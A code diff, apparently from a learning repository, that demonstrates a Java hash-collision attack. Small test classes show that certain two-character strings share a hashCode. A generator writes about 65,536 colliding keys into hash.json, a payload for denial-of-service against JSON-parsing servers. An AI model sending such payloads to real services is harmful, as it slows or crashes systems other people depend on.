哈希碰撞攻击

src/main/java/iguigui/hash/HashStringGenerater.java

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+package iguigui.hash;
+
+import java.io.*;
+
+public class HashStringGenerater {
+
+
+    //简单生成一大堆具有相同hashCode的字符串
+    //输出到文件去
+    public static void main(String[] args) {
+        String[] strings = {"A~", "B_", "C@", "D!"};
+        int round = 8;
+        int pow = (int) Math.pow(4, round);
+        try {
+            BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream("hash.json")));
+            writer.write("{");
+            StringBuilder stringBuilder = new StringBuilder();
+            for (int i = 0; i < pow - 1; i++) {
+                for (int j = round - 1; j >= 0; j--) {
+                    stringBuilder.append(strings[(i / ((int) Math.pow(4, j))) % 4]);
+                }
+                writer.write("\"");
+                writer.write(stringBuilder.toString());
+                writer.write("\":0,");
+                stringBuilder.delete(0,stringBuilder.length());
+            }
+            for (int j = round - 1; j >= 0; j--) {
+                stringBuilder.append(strings[(pow / ((int) Math.pow(4, j))) % 4]);
+            }
+            writer.write("\"");
+            writer.write(stringBuilder.toString());
+            writer.write("\":0}");
+            writer.close();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+}

src/main/java/iguigui/hash/MyHashTest.java

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+package iguigui.hash;
+
+import java.util.ArrayList;
+
+public class MyHashTest {
+
+    //一组具有相同hashCode的最小单元
+    public static void main(String[] args) {
+        ArrayList<String> strings = new ArrayList<>();
+        strings.add("A~");
+        strings.add("B_");
+        strings.add("C@");
+        strings.add("D!");
+        for (String string : strings) {
+            System.out.println(string + " hashcode = " + string.hashCode());
+        }
+
+    }
+
+
+}
+
+

src/main/java/iguigui/hash/MyHashTest2.java

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+package iguigui.hash;
+
+import java.util.ArrayList;
+
+public class MyHashTest2 {
+
+    //具有相同hashCode的单元进行简单重复就可以生成一大堆有相同hashCode的字符串
+    public static void main(String[] args) {
+        ArrayList<String> strings = new ArrayList<>();
+        strings.add("A~A~A~A~");
+        strings.add("A~A~A~B_");
+        strings.add("A~A~A~C@");
+        strings.add("A~A~A~D!");
+        strings.add("A~A~B_A~");
+        strings.add("A~A~B_B_");
+        strings.add("A~A~B_C@");
+        strings.add("A~A~B_D!");
+        for (String string : strings) {
+            System.out.println(string + " hashcode = " + string.hashCode());
+        }
+    }
+
+
+}
+
+